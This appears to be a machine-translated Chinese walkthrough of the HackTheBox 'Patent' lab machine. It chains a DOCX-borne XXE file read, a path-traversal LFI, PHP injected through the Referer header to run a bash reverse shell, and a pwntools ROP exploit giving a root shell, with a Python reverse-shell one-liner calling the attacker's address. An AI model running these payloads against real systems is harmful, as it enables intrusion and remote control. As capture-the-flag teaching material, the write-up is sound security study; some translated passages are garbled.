HackTheBox。正在通过专利。通过DOCX,LFI到RCE,GIT和ROP链文件进行XXE

图片

我将继续发布从HackTheBox网站发送的用于进一步处理的解决方案

在本文中,我们利用服务中的XXE将DOCX文档转换为PDF,通过LFI获取RCE,挖掘GIT历史记录并还原文件,使用pwntools组成ROP链并找到隐藏的根文件。

通过VPN连接到实验室。建议不要从可用对您重要的数据的工作计算机或主机进行连接,因为您将与知道信息安全领域知识的人进入专用网络:)

组织信息
, , Telegram . , , .

. , - , .

侦察


这台机器的IP地址为10.10.10.173,我将其添加到/ etc / hosts。

10.10.10.173    patents.htb

首先,我们扫描开放端口。由于使用nmap扫描所有端口需要很长时间,因此我将首先使用masscan进行此操作。我们以每秒500个数据包的速度扫描来自tun0接口的所有TCP和UDP端口。

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.173 --rate=500

图片

现在,有关在端口上运行的服务的更多详细信息,我们将使用-A选项运行扫描。

nmap -A patents.htb -p22,80,8888

图片

主机运行SSH服务和Apache Web服务器,并为不可理解的服务保留了端口8888。让我们看看网络。

图片

该站点具有DOCX文档的下载表格。

图片

XXE DOCX


根据声明,我们的文档将转换为PDF格式。这暗示了XXE的思想。我从这里举了一个例子

图片

因此,在此示例中,主机将尝试从远程服务器下载xml文档。通过下载此文档,他将读取在已下载的xml文档中指定的本地文件,在base64中对其进行编码,然后将编码后的文件作为请求参数传递给我们的服务器,从而再次与其联系。也就是说,解码此参数后,我们从远程计算机获取文件。

但是,不应将此负载放在word / document.xml路径上。由于OpenXML SDK用于处理这种类型的文档,因此从这里开始从这里开始,服务器端软件将在word / document.xml和customXML / item1.xml中搜索数据。因此,应将负载放置在此处。

让我们创建一个docx文档并将其解压缩为zip存档。之后,创建customXML目录并在其中创建item1.xml文件。在其中,我们将根据上图编写代码,将IP地址更改为我们自己的。然后我们将文档存档。

图片

现在运行本地Web服务器。

python3 -m http.server 80

然后在当前目录中创建第二个xml文件,将/ etc / passwd指定为所需文件。

图片

并将文档上传到服务器。在运行Web服务器的窗口中,我们将看到反向连接。

图片

解码base64并获取所请求的文件。

图片

这样,我们可以读取服务器上的文件。让我们阅读Apache配置文件。为此,请更改dtd.xml并重复下载该文档。

图片

图片

因此,我们找出了网站所在的目录。让我们尝试读取配置文件。

图片

图片

评论说文件由于漏洞被重命名。我们当然会引用它为patents.htb / getPatent_alphav1.0.php

图片

转到此页面并通过路径../../../../../etc/passwd作为id参数,所有出现的“ ../”将从我们的行中删除。让我们用“ ... /。/”替换每一行“ ../”,因此,如果删除一个序列,它将仍然保留为“ ../”。

图片

我们找到了LFI。

入口点


让我们尝试从中获得RCE。坦率地说-这很困难。事实是,发送此类文档时,我们没有收到下载PDF的报价。也就是说,使用了描述符2(以文本形式显示诊断和调试消息)。我们可以求助于他。让我们在base64中编码反向shell:

/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.211/4321 0>&1;'
L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjExLzQzMjEgMD4mMTsn

我们将对其进行解码,并将其传递给php中的系统函数。上传文件时,将代码作为HTTP标头传递。

curl http://patents.htb/convert.php -F "userfile=@file.docx" -F 'submit=Generate PDF' --referer 'http://test.com/<?php system(base64_decode("L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjExLzQzMjEgMD4mMTsn")); ?>'

运行netcat。

nc -lvp 4321

现在转到第二个描述符。

curl http://patents.htb/getPatent_alphav1.0.php?id=....//....//....//....//....//....//....//proc//self//fd//2

我们回到连接。

根1


加载脚本系统传输linpea并仔细分析输出。因此,我们在Docker容器中工作。

图片

我们还会发现哈希。但是黑客,我们一无所获。

图片

图片

因此,运行pspy64来跟踪正在运行的进程。并且我们以root用户身份找到该过程的开始,其中密码作为环境变量进行传递。

图片

并通过输入此密码在本地更改用户。

图片

根2


让我们看看该脚本的作用。

图片

图片

我们在一些lfmserver上获得了提示,并且还保存了用户名和密码。让我们在系统中查找与lfm相关的所有内容。

图片

我们在此目录中找到了git存储库。

图片

让我们使用此存储库。

图片

让我们看看变化的历史。

图片

让我们看看变化的历史。因此,我们看到在倒数第二次提交中,添加了一个可执行文件和描述,最后,它们已被删除。让我们回滚,然后再删除文件。

git revert 7c6609240f414a2cb8af00f75fdc7cfbf04755f5

在我们的目录中,出现了一个可执行文件和说明。

图片

图片

在这里,我已经想开始反转文件了,但是-我们有一个git项目!我发现一个提到源代码的提交。

图片

然后还原文件。

git checkout 0ac7c940010ebb22f7fbedb67ecdf67540728123

之后,我们将感兴趣的源代码,程序本身和库下载到本地计算机。

罗普


我们需要尝试查找和利用程序中的漏洞,有源代码可以帮助您。让我们检查二进制文件中的保护。

图片

也就是说,缺少金丝雀和PIE,但堆栈不可执行。使用方便的反编译器在任何反汇编程序中打开二进制文件(我使用IDA Pro 7.2),然后将反编译的代码与存储库中的源代码进行比较。

图片

要连接到服务器并使用来自checker.py文件的数据以及凭据。

图片

图片

让我们编写一个漏洞利用模板。

#!/usr/bin/python3

from pwn import *

context(os="linux", arch="amd64")
HOST = "127.0.0.1"
PORT = 8888
username = "lfmserver_user"
password = "!gby0l0r0ck$$!"

现在确定请求。启动应用程序。

图片

您必须将路径发送到文件及其内容的哈希值。例如,我使用了/ etc /主机。

图片

将以下代码添加到模板。

INPUTREQ = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\n"
file = "/etc/hosts"
md5sum = "7d8fc74dc6cc8517a81a5b00b8b9ec32"
send_ = INPUTREQ.format(file,username, password, md5sum)

r = remote(HOST, PORT)
r.sendline(send_.encode())

r.interactive()

现在执行并得到404错误,

图片

让我们看一下日志文件。

图片

很清楚,应用程序在哪里寻找文件,让我们一起研究路径并指定这样的文件。

file = "../../../../../etc/hosts"

我们将执行代码,并且不会看到任何错误。

图片

图片

但是在urlencode的情况下,我们从服务器收到了代码为200的响应!

file = "%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fhosts"

图片

太好了,让我们回到反汇编程序。我们在(Shift + F12)行中发现了成功的服务器响应。让我们看看它的访问位置(X)。

图片

我们转到第一个功能,即一开始就对凭据进行验证。

图片

让我们在反汇编器窗口中重命名变量行,以使其更容易在反编译器中理解。

图片

然后解析第18-24行中的代码,了解以下内容:用户输入的一部分属于函数sub_402DB9,在该函数中将字符串转换为变量名,然后该变量名进入访问函数,如果结果为负,则输出消息404.因此,变量名将是文件的路径。由于即使使用urlencode编码也处理了请求,因此解码很可能需要此功能。

图片

但是事实是,数据在其中传输的变量名称的大小有限。

图片

因此,对于缓冲区溢出,我们需要传输0xA0 = 160字节。让我们在代码中添加最多增加160个字节并对文件的路径进行编码的功能。由于哈希是根据文件的内容计算得出的,因此有必要不破坏文件路径的完整性,即在主路径后添加0x00字节。

但是事实是,我们需要从服务器上的任何文件中了解散列,该散列将始终可用并且永远不会更改。例如,/ proc / sys / kernel / randomize_va_space,正如我们从linPEAS的输出中回想的那样,ASLR被激活,也就是说,我们知道哈希值。

图片

然后更改代码。

#!/usr/bin/python3
from pwn import *

def append_and_encode(file, rop=b""):
    ret = b""
    path = (file + b"\x00").ljust(160, b"A") + rop
    for i in path:
        ret += b"%" + hex(i)[2:].rjust(2,"0").encode()
    return ret

context(os="linux", arch="amd64", log_level="error")

HOST = "127.0.0.1"
PORT = 8888
INPUTREQ = b"CHECK /{1} LFM\r\nUser=lfmserver_user\r\nPassword=!gby0l0r0ck$$!\r\n\r\n{2}\n"
md5sum = b"26ab0db90d72e28ad0ba1e22ee510510"

payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space")
send_= INPUTREQ.replace(b"{1}", payload).replace(b"{2}", md5sum)
r = remote(HOST, PORT)
r.sendline(send_)
r.interactive()

它成功运作!

图片

现在,让我们使用内存泄漏并确定libc库的加载地址。为此,我们在已加载的libc库中获取写函数的地址。

binary = ELF("./lfmserver")
libc = ELF("./libc6.so")

rop_binary = ROP(binary)
rop_binary.write(0x6, binary.got['dup2'])
rop = flat(rop_binary.build())

payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space", rop)

图片

现在,选择dup2函数的地址(前8个字节)。从中减去dup2函数在已卸载库中的地址。这将找到libc的基地址。

print(f"[*] Payload sent")

recv_ = r.recvall().split(b'\r')
leak = u64(recv_[-1][:8])
print(f"[*] Leak address: {hex(leak)}")
libc.address = leak - libc.symbols['dup2']
print(f"[+] Libc base: {hex(libc.address)}")

图片

现在找到该行的地址/ bin / sh。

shell_address = next(libc.search(b"/bin/sh\x00"))

仍然需要收集ROP,在该ROP中,标准I / O描述符(0,1,2)将被重定向到程序中注册的描述符(请参见6)。之后将调用系统功能,我们将在其中传递行/ bin / sh的地址。

rop_libc = ROP(libc)
rop_libc.dup2(6,0)
rop_libc.dup2(6,1)
rop_libc.dup2(6,2)
rop_libc.system(shell_address)
rop = flat(rop_libc.build()) 

payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space", rop)
send_ = INPUTREQ.replace(b"{1}", payload).replace(b"{2}", md5sum)
r = remote(HOST, PORT)
r.sendline(send_)

context.log_level='info'
r.recv()
r.sendline(b"id")

图片

精细!我们从根获得外壳。但是他快死了。运行侦听器(nc -lvp 8765)并扔回连接外壳。

r.sendline(b'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.66",8765));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'')

图片

图片

而且我们有一个稳定的外壳。我在下面的图片中给出了完整的代码。

图片

但是我们无法读取根标志...

图片

根3


通过运行linpeas并查看输出,我们找到了有趣的部分,尤其是/ dev / sda2。

图片

让我们获取有关所有块设备的信息。

图片

因此,我们有根分区/ dev / sda2。创建目录并挂载分区。

图片

因此,我们找到了根标志。

您可以通过Telegram加入我们在这里,您可以找到有趣的资料,合并的课程以及软件。让我们建立一个社区,在这个社区中,会有一些精通IT领域的人,然后我们可以在任何IT和信息安全性问题上互相帮助。

All Articles